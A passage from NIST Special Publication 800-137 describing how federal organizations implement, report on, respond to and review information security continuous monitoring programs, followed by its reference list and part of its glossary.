Owner/Common Control Provider, Authorizing Official, Information System Security Officer Supporting Roles : Risk Executive (Function), Senior Information Security Officer, Security Control Assessor Expected Input : Organizational risk assessment, organizational risk tolerance, current threat information, current vulnerability information, organizational priorities and expectations Expected Output : Documented criteria and thresholds for event -driven assessments/authorizations (e.g., significant change procedures, policy and procedures on event - driven authorizati ons) 3.2.3 DEVELOP ISCM ARCHITE CTURE Organizations determine how the information will be collected and delivered within and between the tiers as well as external to the organization. The core requirements of an architecture implemented to support ISCM are data c ollection, data storage, data analysis capabilities, and retrieval and presentation (reporting) capabilities. Methodologies are standardized to facilitate efficiencies, intra - and inter-tier information exchange, correlation, and other analysis. Organizat ions use automated tools, technologies, and methodologies where appropriate to allow for increased efficiencies and insight including those gained through collection, analysis and dissemination of large volumes of data from diverse sources. The architecture and associated policies and procedures are designed to minimize data calls and maximize data reuse.39 39 An example of an architecture for ISC M can be found in Draft NISTIR 7756, CAESARS Framework Extension: An Enterprise Continuous Monitoring Technical Reference Architecture (Draft) . Data feeds come from a heterogeneous mix of sources (e.g., authorization packages, training records, system logs) and accommodate different stakeholder v iews. Interoperable data specifications (e.g., SCAP, XML) enable data to be collected once and reused many times. Accountability for different facets of the security posture may reside with different roles or functions within an organization and hence require use of raw data in different metrics and contexts and at different Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE 30 intervals (e.g ., security assessment and authorization, user awareness and training, and access control). Similarly, o rganizational missions and business functions have varied requirements for reporting and various drivers for action (e.g., changes to risk tolerance; changes in operational environments, including evolving threat activities; security architecture adjustments, security status reporting). 3.3 IMPLEMENT A N ISCM PROGRAM ISCM is implemented in accordance with the strategy. Security -related information (d ata) is collected as required for predefined metrics, security control assessments are conducted , and the security-related information generated is reported in accordance with orga nizational policies and procedures . All security control classes (management, operational, and technical ) and types (common, hybrid, and system -specific) are included in the organizational continuous monitoring program. Every control is monitored for effectiveness, and every control is subject to use in monitoring security status. Data sources include people, processes, technologies, the computing environment, as well as any existing relevant security control assessment reports. Collection, analysis , and reporting of data are automated where possible. Whether manual or automated, the data collected is assembled for analysis and reported to the organizational officials charged with correlating and analyzing it in ways that are relevant for risk management ac tivities. As indicated in the examples above, this may mean taking data from a variety of sources, collected at various points in time , and combining it in ways that are meaningful for the official receiving it at the time that it is requested. Part of the implementation stage of the continuous monitoring process is effectively organizing and delivering ISCM data to stakeholders in accordance with decision -making requirements. Tools and methodologies are chosen for the organization- wide ISCM architecture, i n order to help ensure that risk -based decisions are informed by accurate, current security -related information. Discrete security processes inform and are informed by ISCM data. Organizations also use ISCM data to inform processes that are not primarily used to control information security risk. Similarly, data from those processes can also be used to inform the ISCM program. Examples of processes that inform and are informed by ISCM include, but are not limited to, patch management, asset management, license management, configuration management, vulnerability management, and system authorization. As described in Chapter Two, the ISCM data output from one process may serve as input to many others. Primary Roles : Information System Owner, Common Control Provider, Information System Security Officer, Security Control Assessor Supporting Roles : Risk Executive (Function), Authorizing Official, Chief Information Officer, Senior Information Security Officer Expected In put: Organizational - and system -level policies and procedures on ISCM strategy, metrics, the Security Assessment Plan updated with assessment and monitoring frequencies, and automation specifications Expected Outputs : Security-related information Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE 31 3.4 ANALYZE DATA AND REPORT FINDINGS Organizations develop procedures for analyzing and reporting assessment and monitoring results. This includes the specific staff/roles to receive ISCM reports, the content and format of the reports, the frequency of reports, and any tools to be used. Also included are requirements for analyzing and reporting results of controls that are not easily automated. It may be necessary to collect additional data to supplement or clarify security- related information under analysis or provided in initial reports. System - and mission /business-level staff receives and provide s reports as required by organizational and mission/business-level policies and procedures. 3.4.1 ANALYZE DATA Organizations analyze the security- related information resulting from ISCM. It may be necessary to collect additional data to supplement or clarify security-related information under analysis . The information to be analyzed is provided to organizational officials in a variety of ways, such as recurring reports, automated reports, ad hoc reports, data feeds , and database views. Security-related information resulting from ISCM is analyzed in the context of stated risk tolerances, the potential impact that vulnerabilities may have on information systems, mission/business processes, and organization as a whole , and the potential impact of mitigation options. Even with real -time or near real -time organization- specific and system -specific security - related information, evolving vulnerability and threat data is always considered during the analysis. Organizational officials review the analyzed reports to determine whether to conduct mitigation activities or to transfer, avoid/reject, or accept risk. In some cases, a uthorizing officials may determine that accepting some specific risk is preferable to implementing a mitigating response. The rationale for such determinations may include organizational risk tolerance, negative impact to mission /business processes, or cost -effectiveness /return on investment of the implementation. Resolution of risk and the rationale for the decision is recorded in accordance with organizational policies and procedures . Primary Roles : Risk Executive (Function), Chief Information Officer, Senior Information Security Officer; Authorization Officials , Security Control Assessors Supporting Roles : Information System Owners , Common Control Providers , System Securi ty Officers Expected Input : Security-related information, organizational ISCM strategy, organizational risk tolerance, reporting requirements Expected Output : Analysis of security status information for all tiers; updated System Security Plan, Security Assessment Report, and Plan of Action and Milestones; revised organizational risk management decisions 3.4.2 R EPORT ON SECURITY CO NTROL ASSESSMENTS Organizations report on assessment s of all implemented security controls for effectiveness in accordance with organizational requirements. Security-related information from assessments may be conveyed in templates or spreadsheets or collected and reported in an automated fashion. At the system level, security -related information from assessments directly supports ongoing authorization decisions and plans of action and milestones creation and tracking. Some security controls or elements of security controls , by definition, are security metrics (e.g., SI-4 Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE 32 Information System Monitoring). Hence, assessing the effectiveness of these controls results in monitoring the security status of the related metric. Staff report assessment results in accordance with organizational policies and procedures. Reporting on additional metrics and/or assessment results may be required by higher-level organizations such as OMB. Organizations define security status reporting requirements in the ISCM strategy. This includes the specific staff/roles to receive ISCM reports, the content and format of the reports, the frequency of reports, and any tools to be used. Tier 3 officials report on findings, document any system -level mitigations made , and/or provide recommendations to officials at Tiers 1 and 2. Organizational officials at Tiers 1 and 2 review Tier 3 findings to determine aggregate secu rity status and the effectiveness and adequacy of all controls in meeting mission/business and organizational information security requirements. Information contained within a report will vary based on its recipient, frequency, purpose, supported tool sets, and metrics used. For example, the risk executive (function) may receive a general report on all systems annually and a detailed report on specific high- impact systems quarterly. The reports provided to the CIO and SISO may contain more granular technical data on all systems quarterly, and the AO may receive monthly comprehensive reports on the systems for which s/he is responsible. The computer incident response team (CIRT) lead may receive exception reports when alerts are generated, and network adm inistrators may review dashboards showing network activity that is updated every minute , with summary metrics that are updated hourly or daily. 40 Organizations also define requirements for reporting results of controls, such as PM controls, that are not easily automated. Organizations develop procedures for collecting and reporting assessment and monitoring results, including results that are derived via manual methods, and for managing and collecting information from POA&M s to be used for frequency determination, status reporting, and monitoring strategy revision. Organizations may consider more frequent reports for specific controls with more volatility or on controls for which there have been weaknesses or lack of compliance. Primary Roles : System Owner, Common Control Provider, System Security Officer, Security Control Assessor Supporting Roles : Risk Executive (Function), Chief Information Officer, Chief Information Security Officer, Authorizing Official Expected Input : Security -related information ( assessment results); organizational ISCM policies and procedures; reporting requirements from the Authorizing Official, Chief Information Officer, Chief Information Security Officer, and/or Risk Executive (Function) Expected Output : Reports on assessment results as required by organizational ISCM policies and procedures and by the Authorizing Official in support of ongoing authorization (or reauthorization) 3.4.3 REPORT ON SECURITY S TATUS MONITORING Organizations develop procedures for reporting on security status monitoring. Security status data is derived from monitoring the predefined metrics across the organization using output generated 40 Reporting frequencies noted here are for illustrative purposes only. Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE 33 by organization- wide tools (often implemented as common controls). The organization- wide tools may be part of a specific system or systems, but the security -related information generated may not be system-specific. Primary Roles : System Owner, Common Control Provider, System Security Officer, Security Control Assessor Supporting Roles : Risk Executive (Function), Chief Information Officer, Chief Information Security Officer, Authorizing Official Expected Input : Security -related information (security status data); organizational ISCM policies and procedures; reporting requirements from the Authorizing Official, Chief Information Officer, Chief Information Security Officer, and/or Risk Executive (Function) Expected Output : Reports on security status as required by organizational ISCM policies and procedures and by the Authorizing Official in support of ongoing authorization (or re- authorization) 3.5 RESPOND TO FINDINGS Security-related information obtained from monitoring is analyzed and met with appropriate responses. Response to findings at all tiers may include risk mitigation, risk accep tance, risk avoidance/rejection, or risk sharing/transfer, in accordance with organizational risk tolerance.41 Responses are coordinated with appropriate security management activities such as the security - focused configuration management program. At Tier 1, response to findings may result in changes to security policies around organizational governance. Tier 1’s response may be constrained by the mission/business needs and the limitations of the enterprise architecture (including the human components), immutable governance policies, or other external drivers. At Tier 2, response to findings may include requests for additional security- related information, new or modified metrics, changes in mission/business processes, or Tier 3 reporting requirements , and/or additions or modifications to common control implementations. The Tier 2 response may be constrained by organizational governance policies and strategies as well as mission/business goals and objectives and limitations of organizational resources and inf rastructure. At Tier 3, mitigation strategies have a direct and immediate impact on system -level risk and responses to findings may include implementation of additional controls, modifications to previously implemented controls, removal of systems’ authorization to operate, changes to the frequency of monitoring, and/or additional or more detailed analysis of security- related information. System - level mitigations are made within constraints set by Tier 1 and 2 policies, requirements , and strategies, to ens ure that organizational processes are not negatively affected. Response strategies may be implemented over a period of time, documenting implementation plans in the system’s Plan of Action and Milestones. As weaknesses are found, response actions are evaluated and any mitigation actions are conducted immediately or are added to the POA&M. Other key system documents are updated accordingly. Security controls that are modified, enhanced, or added as part of the response step of the continuous monitoring process are assessed 41 For a detailed description of risk responses, see NIST SP 800 -39, as amended. Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE 34 to ensure that the new or revised controls are effective in their implementations.42 Going forward, new or revised controls are included in the overall continuous monitoring strategy . Primary Roles : System Owner, Common Control Provider , System Security Officer Supporting Roles : Authorizing Official, Senior Information Security Officer, Information Owner/Steward Expected Input : Reports on security status, reports on assessment results (e.g., S ecurity Assessment Reports), organizational - and system -level risk assessments, S ecurity Assessment Plans, System Security Plans, organizational procedures and templates Expected Output : Decisions on risk responses, updated system security information (e.g., System Security Plans, POA&Ms, Security Assessment Reports) , updated security status reports 3.6 REVIEW AND UPDATE THE MONITORING PROGRAM AND STRATEGY ISCM strategies and programs are not static. Security control assessments, security status metrics, and monitoring and assessment frequencies change in accordance with the needs of the organization. The continuous monitoring strategy is reviewed to ensure that it sufficiently supports the organization in operating within acceptable risk tolerance levels, that metrics remain relevant, and that data is c urrent and complete. The strategy review also identifies ways to improve organizational insight into security posture, effectively supports informed risk management decision making/ongoing authorizations, and improves the organization’s ability to respond to known and emerging threats. The organization establishes a procedure for reviewing and modifying all aspects of the ISCM strategy, including relevanc e of the overall strategy, accuracy in reflecting organizational risk tolerance, accuracy/correctness of measurements, and applicability of metrics, reporting requirements, and monitoring and assessment frequencies. If any of the data collected is not required for reporting purposes or found to be not useful in maintaining or improving the organization’s security posture , then the organization consider s saving resources by discontinuing that particular collection . Factors precipitating changes in the monitoring strategy may include, but are not limited to: • Changes to core missions or business processes; • Significant changes in the enterprise architecture (including addition or removal of systems); • Changes in organizational risk tolerance; • Changes in threat information; • Changes in vulnerability information; • Changes within information systems (including changes in categorization/impact level ); • Increase/decrease in POA&M s related to specific controls; 42 Changes to security controls are made after being fully tested, vetted, and reviewed in a test environment. Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE 35 • Trend analyses of status reporting output; • New federal laws or regulations ; and/or • Changes to reporting requirements . Officials examine consolidated POA&M information to determine if there are common weaknesses/deficiencies among the organization’s information systems and propose or request solutions. The aggregate POA&M information is used to allocate risk mitigation resources organization- wide and to make adjustments to the monitoring strategy. Similarly, status reports and metrics are analyzed to determine if there are any security trends that suggest changes to the monitoring strategy may be necessary. For instance, if weekly assessments of component inventories over a six- month period indicate that very few changes are being made in a given week and changes that were made are accurately reflected in the inventories, the organization may wish to reduce the frequency of monitoring component inventories to biweekly or monthly. Conversely, if biweekly audit record analyses over a six -month period indicate increases in anomalous events, the organization may wish to increase the frequency of audit record reviews to weekly. An organization’s ISCM strategy also changes as the organization’s security program(s) and monitoring capabilities mature. In a fully mature program, security- related information collection and analysis are accomplished using standardized methods across the organization, as an integral part of mission and business processes, and automated to the fullest extent possible. In this case, the security program is mature enough to ensure that sufficient processes and procedures effectively secure the enterprise architecture in accordance with organizational risk tolerances, and to collect, correlate, analyze, and report on relevant security metrics. 43 ISCM is a recursive process in the sense that the monitoring strategy is continually refined as the steps of the process repeat. Further, the organization- wide application of ISCM is accomplished through smaller or more narrowly focused instances of the similar efforts at the mission/business processes and systems tiers. In other words, the output of ISCM at Tier 3 is input to the implementation of the ISCM programs at Tiers 1 and 2. Working from the top of the pyramid in Figure 2-1 (Tier 1) to its bottom (Tier 3), u pper-tier monitoring strategies set the parameters for lower-tier monitoring programs , and observations made at the lower tiers may result in ch anges to upper-tier monitoring strategies. The ISCM program itself must be monitored so that it can evolve with changes in organizational missions and objectives, operational environments, and threats. Primary Roles : Senior Information Security Officer, Authorizing Official, Information System Owner/Common Control Provider Supporting Roles : Risk Executive ( Function), Chief Information Officer, Information System Security Officer Expected Input : Trend analyses from existing monitoring; organizational risk tolerance information; information on new laws , regulations , reporting requirements ; current threat and vulnerability information; other organizational information as required, updates to automation specifications 43 See NIST SP 800 -55, as amended, for more information on security metrics. Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE 36 Expected Output : Revised ISCM strategy or a brief documented report noting review details and that modifications to the strategy were not necessary (in accordance with the established review process) Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations APPENDIX A PAGE A-1 APPENDIX A REFERENCES LEGISLATION 1. E-Government Act [includes FISMA] (P.L. 107 -347), December 2002. POLICIES , DIRECTIVES , INSTRUCTIONS 1. Office of Management and Budget, Circular A -130, Appendix III, Transmittal Memorandum #4, Management of Federal Information Resources , November 2000. 2. Office of Management and Budget Memorandum M- 02-01, Guidance for Preparing and Submitting Securit y Plans of Action and Milestones , October 2001. 3. Cyber Security Research and Development Act of 2002. GUIDELINES 1. National Institute of Standards and Technology Special Publication 800 -12, An Introduction to Computer Security: The NIST Handbook , October 1995 . 2. National Institute of Standards and Technology Special Publication 800 -34, Revision 1, Contingency Planning Guide for Federal Information Systems, May 2010 . 3. National Institute of Standards and Technology Special Publication 800 -37, Revision 1, Guide for Applying the Risk Management Framework to Federal Information Systems: A Security Life Cycle Approach , February 2010. 4. National Institute of Standards and Technology Special Publication 800 -39, Managing Information Security Risk: Organization, Mission, and Information System View , March 2011. 5. National Institute of Standards and Technology Special Publication 800 -40, Version 2, Creating a Patch and Vulnerability Management Program , November 2005. 6. National Institute of Standards an d Technology Special Publication 800 -53, Revision 3, Recommended Security Controls for Federal Information Systems and Organizations , August 2009 . 7. National Institute of Standards and Technology Special Publication 800 -53A, Guide for Assessing the Security Controls in Federal Information Systems and Organizations : Building Effective Security As sessment Plans , June 2010 . 8. National Institute of Standards and Technology Special Publication 800 -55, Revision 1, Performance Measurement Guide for Information Secur ity, July 2008 . 9. National Institute of Standards and Technology Special Publication 800 -92, Guide to Computer Log Management, September 2006 . 10. National Institute of Standards and Technology Special Publication 800 -126, Revision 1, The Technical Specification for the Security Content Automation Protocol (SCAP): SCAP Version 1.1, February 2011. Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations APPENDIX A PAGE A-2 11. National Institute of Standards and Technology Special Publication 800 -128, Guide for Security -Focused Configuration Management of Information Systems , August 2011. 12. National Institute of Standards and Technology Interagency Report 7756, DRAFT, CAESARS Framework Extension : an Enterprise Continuous Monitoring Technical Reference Architecture, February 2011. OTHER 1. Common Vulnerabilities and Exposures (CVE), http://cve.mitre.org/about/index.html . 2. Common Vulnerability Scoring System (CVSS), http://www.first.org/cvss/ . Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations APPENDIX B PAGE B-1 APPENDIX B GLOSSARY COMMON TERMS AND DEFINITIONS This appendix provides definitions for security terminology used within Special Publication 800 - 137. The terms in the glossary are consistent with the terms used in the suite of FISMA-related security standards and guidelines developed by NIST. Unless otherwise stated, all terms used in this publication are also consistent with the definitions contained in the CNSS Instruction 4009, National Information Assurance Glossary . Activities [NISTIR 7298] An assessment object that includes specific protection -related pursuits or actions supporting an information system that involve people (e.g., conducting system backup operations, monitoring network traffic). Adequate Security [OMB Circular A -130, Appendix III] Security commensurate with the risk and the magnitude of harm resulting from the loss, misuse, or unauthorized access to or modification of information. This includes assuring that systems and applications used by the agency operate effectively and provide appropriate confidentiality, integrity, and availability, through the use of cost -effective management, personnel, operational, and technical controls. Advanced Persistent Threats [NIST SP 800 -39] An adversary with sophisticated levels of expertise and significant resources, allowing it through the use of multiple different attack vectors (e.g., cyber, physical, and deception) to generate opportunities to achieve its objectives , which are typically to establish and extend footholds within the informa tion technology infrastructure of organizations for purposes of continually exfiltrating information and/or to undermine or impede critical aspects of a mission, program, or organization, or place itself in a position to do so in the future; moreover , the advanced persistent threat pursues its objectives repeatedly over an extended period of time, adapting to a defender’s efforts to resist it, and with determination to maintain the level of interaction needed to execute its objectives. Agency See Executive Agency. Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations APPENDIX B PAGE B-2 Allocation [NISTIR 7298] The process an organization employs to determine whether security controls are defined as system -specific, hybrid, or common. The process an organization employs to assign security controls to specific information system components responsible for providing a particular security capability (e.g., router, server, remote sensor). Application [NISTIR 7298] A software program hosted by an information system. Assessment See Security Control Assessment . Assessment Findings [NISTIR 7298] Assessment results produced by the application of an assessment procedure to a security control or control enhancement to achieve an assessment objective; the execution of a determination statement within an assessment procedure by an assesso r that results in either a satisfied or other than satisfied condition. Assessment Method [NISTIR 7298] One of three types of actions (examine, interview, test) taken by assessors in obtaining evidence during an assessment. Assessment Object [NISTIR 7298] The item (specifications, mechanisms, activities, individuals) upon which an assessment method is applied during an assessment. Assessment Objective [NISTIR 7298] A set of determination statements that expresses the desired outcome for the assessmen t of a security control or control enhancement. Assessment Procedure [NISTIR 7298] A set of assessment objectives and an associated set of assessment methods and assessment objects . Assessor See Security Control Assessor . Assurance [NISTIR 7298] The grounds for confidence that the set of intended security controls in an information system are effective in their application. Assurance Case [NISTIR 7298] A structured set of arguments and a body of evidence showing that an information system satisfies s pecific claims with respect to a given quality attribute. Authentication [FIPS 200] Verifying the identity of a user, process, or device, often as a prerequisite to allowing access to resources in an information system. Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations APPENDIX B PAGE B-3 Authenticity [CNSSI 4009] The property of being genuine and being able to be verified and trusted; confidence in the validity of a transmission, a message, or message originator. See Authentication . Authorization (to operate) [CNSSI 4009] The official management decision given by a senior organizational official to authorize operation of an information system and to explicitly accept the risk to organizational operations (including mission, functions, image, or reputation), organizational assets, individuals, other organizations, a nd the Nation based on the implementation of an agreed -upon set of security controls. Authorization Boundary [NIST SP 800 -37] All components of an information system to be authorized for operation by an authorizing official and excludes separately authorized system s, to which the information system is connected. Authorizing Official (AO) [CNSSI 4009] A senior (federal) official or executive with the authority to formally assume responsibility for operating an information system at an acceptable level of risk to organizational operations (including mission, functions, image, or reputation), organizational assets, individuals, other organizations, and the Nation. Availability [44 U.S.C., Sec. 3542] Ensuring timely and reliable access to and use of information. Categorization See Security Categorization. Chief Information Officer (CIO) [PL 104-106, Sec. 5125(b)] Agency official responsible for: 1) Providing advice and other assistance to the head of the executive agency and other senior management personnel of the agency to ensure that information technology is acquired and information resources are managed in a manner that is consistent with laws, Executive Orders, directives, policies, regulations, and priorities established by the head of the agency; 2) Developing, maintaining, and facilitating the implementation of a sound and integrated information technology architecture for the agency; and 3) Promoting the effective and efficient design and operation of all major information resources management processes for the agency, including improvements to work processes of the agency. Chief Information Security Officer See Senior Agency Information Security Officer . Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations APPENDIX B PAGE B-4 Common Control [CNSSI 4009] A security control that is inherited by one or more organizational information systems. See Security Control Inheritance . Common Control Provider [NISTIR 7298] An organizational official responsible for the development, implementation, assessment, and monitoring of common controls (i.e., security controls inherited by information systems). Compensating Security Controls [NISTIR 7298] The management, operational, and technical controls (i.e., safeguards or countermeasures) employed by an organization in lieu of the recommended controls in the low, moderate, or high baselines described in NIST Special Publication 800 -53, that provide equivalent or comparable protection for an information system. Comprehensive Testing [NISTIR 7298] A test methodology that assumes explicit and substantial knowledge of the internal structure and implementation detail of the assessment object. Also known as white box testing. Computer Incident Response Team (CIRT) [CNSSI 4009] Group of individuals usually consisting of Security Analysts organized to develop, recommend, and coordinate immediate mitigation actions for containment, eradication, and recovery resulting from computer security incidents. Also called a Computer Security Incident Response Team (CSIRT) or a CIRC (Computer Incident Response Center, Computer Incident Response Capability, or Cyber Incident Response Team). Confidentiality [44 U.S.C., Sec. 3542] Preserving authorized restrictions on information access and disclosure, including means for protecting personal privacy and proprietary information. Configuration Control (or Configuration Management ) [CNSSI 4009] Process for controlling modifications to hardware, firmware, software, and documentation to protect the information system against improper modifications before, during, and after system implementation. Continuous Monitoring Maintaining ongoing awareness to support organizational risk decisions. See Information Security Continuous Monitoring , Risk Monitoring , and Status Monitoring . Controlled Interface [CNSSI 4009] A boundary with a set of mechanisms that enforces the security policies and controls the flow of information between interconnected information systems. Countermeasures [CNSSI 4009] Actions, devices, procedures, techniques, or other measures that reduce the vulnerability of an information system. Synonymous with security controls and safeguards. Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations APPENDIX B PAGE B-5 Coverage [NISTIR 7298] An attribute associated with an assessment method that addresses the scope or breadth of the assessment objects included in the assessment (e.g., types of objects to be assessed and the number of objects to be assessed by type). The values for the coverage attribute, hierarchically from less coverage to more coverage, are basic, focused, and comprehensive. Data Loss The exposure of proprietary, sensitive, or classified information through either data theft or data leakage. Depth [NISTIR 7298] An attribute associated with an assessment method that addresses the rigor and level of detail associated with the applicati on of the method. The values for the depth attribute, hierarchically from less depth to more depth, are basic, focused, and comprehensive. Domain [CNSSI 4009] An environment or context that includes a set of system resources and a set of system entities that have the right to access the resources as defined by a common security policy, security model, or security architecture. See Security Domain . Environment of Operation [NISTIR 7298] The physical surroundings in which an information system processes, stores, and transmits information. Examine [NISTIR 7298] A type of assessment method that is characterized by the process of checking, inspecting, reviewing, observing, studying, or analyzing one or more assessment objects to facilitate understanding, achieve clarification, or obtain evidence, the results of wh ich are used to support the determination of security control effectiveness over time. Executive Agency [41 U.S.C., Sec. 403] An executive department specified in 5 U.S.C., Sec. 101; a military department specif ied in 5 U.S.C., Sec. 102; an independent establishment as defined in 5 U.S.C., Sec. 104(1); and a wholly owned Government corporation fully subject to the provisions of 31 U.S.C., Chapter 91. Expected Output Any data collected from monitoring and assessments as part of the ISCM strategy. Federal Agency See Executive Agency . Federal Information System [40 U.S.C., Sec. 11331] An information system used or operated by an executive agency, by a contractor of an executive agency, or by another organization on behalf of an executive agency. High-Impact System [FIPS 200] An information system in which at least one security objective (confidentiality, integrity, or availability) is a ssigned a FIPS 199 potential impact value of high. Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations APPENDIX B PAGE B-6 Hybrid Security Control [CNSSI 4009] A security control that is implemented in an information system in part as a common control and in part as a system -specific control. See Common Control and System -Specific Security Control . Incident [FIPS 200] An occurrence that actually or potentially jeopardizes the confidenti ality, integrity, or availability of an information system or the information the system processes, stores, or transmits or that constitutes a violation or imminent threat of violation of security policies, security procedures, or acceptable use policies. Individuals [NISTIR 7298] An assessment object that includes people applying specifications, mechanisms, or activities. Information [FIPS 199] An instance of an information type. Information Owner [CNSSI 4009] Official with statutory or operational authority for specified information and responsibility for establishing the controls for its generation, collection, processing, dissemination, and disposal. Information Resources [44 U.S.C., Sec. 3502] Information and related resources, such as personnel, equipment, funds, and information technology. Information Security [44 U.S.C., Sec. 3542] The protection of information and information systems from unauthorized access, use, disclosure, disruption, modification, or destruction in order to provide confidentiality, integrity, and availability. Information Security Architect [NISTIR 7298] Individual, group, or organization responsible for ensuring that the information security requirements necessary to protect the organization’s core missions and business processes are adequately addressed in all aspects of enterprise architecture including reference models, segment and solution architectures, and the resulting information systems supporting those missions and business processes. Information Security Continuous Monitoring (ISCM) Maintaining ongoing awareness of information security, vulnerabilities, and threats to support organizational risk management decisions. [Note: The terms “continuous” and “ongoing” in this context mean that security controls and organizational risks are assessed and analyzed at a frequency sufficient to support risk -based security decisions to adequately protect organization information.] Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations APPENDIX B PAGE B-7 Information Security Continuous Monitoring (ISCM) Program A program established to collect information in accordance with preestablished metrics, utilizing information readily available in part through implemented security controls. Information Security Continuous Monitoring (ISCM) Process A process to: • Define an ISCM strategy; • Establish an ISCM program; • Implement an ISCM program; • Analyze data and Report findings; • Respond to findings ; and • Review and Update the ISCM strategy and program. Information Security Program Plan [NISTIR 7298] Formal document that provides an overview of the security requirements for an organization- wide information security program and describes the program management controls and common controls in place or planned for meeting those requirements. Information Security Risk [NIST SP 800 -39] The risk to organizational operations (including mission, functions, image, reputation), organizational assets, individuals, other organizations, and the Nation due to the potential for unauthorized access, use, disclosure, disruption, modification, or destruction of information and /or information systems. See Risk. Information System [44 U.S.C., Sec. 3502] A discrete set of information resources organized for the collection, processing, maintenance, use, sharing, dissemination, or disposition of information. Information System Boundary See Authorization Boundary . Information System Owner (or Program Manager) [NISTIR 7298] Official responsible for the overall procurement, development, integration, modification, or operation and maintenance of an information system. Information System Security Engineer [CNSSI 4009] Individual assigned responsibility for conducting information system security engineering activities. Information System Security Engineering [CNSSI 4009] Process that captures and refines information security requirements and ensures that their integration into information technology component products and information systems through purposeful security design or configuration. Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations APPENDIX B PAGE B-8 Information System - related Security Risks Risks that arise through the loss of confidentiality, integrity, or availability of information or information systems and consider impacts to the organization (including assets, mission, functions, image, or reputation), individuals, other organizations, and the Nation. See Risk. Information System Security Officer (ISSO) [CNSSI 4009] Individual with assigned responsibility for maintaining the appropriate operational security posture for an information system or program. Information Technology [40 U.S.C., Sec. 1401] Any equipment or interconnected system or subsystem of equipment that is used in the automatic acquisition, storage, manipulation, management, movement, control, display, switching, interchange, transmission, or reception of data or information by the executive agency. For purposes of the preceding sentence, equipment is used by an executive agency if the equipment is used by the executive agency directly or is used by a contractor under a contract with the executive agency which: (i) requires the use of such equipment; or (ii) requires the use, to a significant extent, of such equipment in the performance of a service or the furnishing of a product. The term information technology includes computers, ancillary equipment, software, firmware, and similar procedures, services (including support services), and related resources. Information Type [FIPS 199] A specific category of information (e.g., privacy, medical, proprietary, financ ial, investigative, contractor sensitive, security management) defined by an organization or in some instances, by a specific law, Executive Order, directive, policy, or regulation. Integrity [44 U.S.C., Sec. 3542] Guarding against improper information modification or destruction, and includes ensuring information non- repudiation and authenticity. Interview [NISTIR 7298] A type of assessment method that is characterized by the process of conducting discussions with individuals or groups within an organization to facilitate understanding, achieve clarification, or lead to the location of evidence, the results of which are used to support the determination of security control effectiveness over time. Intrusion Detection and Prevention System (IDPS) [NISTIR 7298] Software that automates the process of monitoring the events occurring in a computer system or network and analyzing them for signs of possible incidents and attempting to stop detected possible incidents. Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations APPENDIX B PAGE B-9 Malware [NISTIR 7298] A program that is inserted into a system, usually covertly, with the intent of compromising the confidentiality, integrity, or availability of the victim’s data, applications, or operating system or of otherwise annoying or disrupting the victim. Management Controls [FIPS 200] The security controls (i.e., safeguards or countermeasures) for an information system that focus on the management of risk and the management of information system security. Mechanisms [NISTIR 7298] An assessment object that includes specific protection- related items (e.g., hardware, software, or firmware) employed within or at the boundary of an information system. Metrics [NISTIR 7298] Tools designed to facilitate decision making and improve performance and accountability through collection, analysis, and reporting of relevant performance -related data. National Security System [44 U.S.C., Sec. 3542] Any information system (including any telecommunica tions system) used or operated by an agency or by a contractor of an agency, or other organization on behalf of an agency —(i) the function, operation, or use of which involves intelligence activities; involves cryptologic activities related to national security; involves command and control of military forces; involves equipment that is an integral part of a weapon or weapons system; or is critical to the direct fulfillment of military or intelligence missions (excluding a system that is to be used for routine administrative and business applications, for example, payroll, finance, logistics , and personnel management applications); or (ii) is protected at all times by procedures established for information that have been specifically authorized under criteria established by an Executive Order or an Act of Congress to be kept classified in the interest of national defense or foreign policy. Operational Controls [FIPS 200] The security controls (i.e., safegu ards or countermeasures) for an information system that are primarily implemented and executed by people (as opposed to systems). Organization [FIPS 200, Adapted] An entity of any size, complexity, or positioning within an organizational structure (e.g., a federal agency, or, as appropriate, any of its operational elements) . Organizational Information Security Continuous Monitoring Ongoing monitoring sufficient to ensure and assure effectiveness of security controls related to systems, networks, and cyberspace, by assessing security control implementation and organizational security status in accordance with organizational risk toler ance – and within a reporting structure designed to make real -time, data- driven risk management decisions. Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations APPENDIX B PAGE B-10 Patch Management [CNSSI 4009] The systematic notification, identification, deployment, installation, and verification of operating system and application software code revisions. These revisions are known as patches, hot fixes, and service packs. Penetration Testing [NISTIR 7298] A test methodology in which assessors, using all available documentation (e.g., system design, source code, manuals) and working under specific constraints, attempt to circumvent the security features of an information system. Plan of Action & Milestones (POA&M) [OMB Memorandum 02-01] A document that identifies tasks needing to be accomplished. It details resou rces required to accomplish the elements of the plan, any milestones in meeting the tasks, and scheduled completion dates for the milestones. Potential Impact [FIPS 199] The loss of confide ntiality, integrity, or availability could be expected to have: (i ) a limited adverse effect (FIPS 199 low); (ii) a serious adverse effect (FIPS 199 moderate); or (iii) a severe or catastrophic adverse effect (FIPS 199 high) on organizational operations, organizational assets, or individuals. Records [CNSSI 4009] The recordings (automated and/or manual) of evidence of activities performed or results achieved (e.g., forms, reports, test results), which serve as a basis for verifying that the organization and the information system are performing as intended. Also used to refer to units of related data fields (i.e., groups of data fields that can be accessed by a program and that contain the complete set of information on particular items). Resilience [NIST SP 800 -39, Adapted] The ability to continue to: (i) operate under adverse cond itions or stress, even if in a degraded or 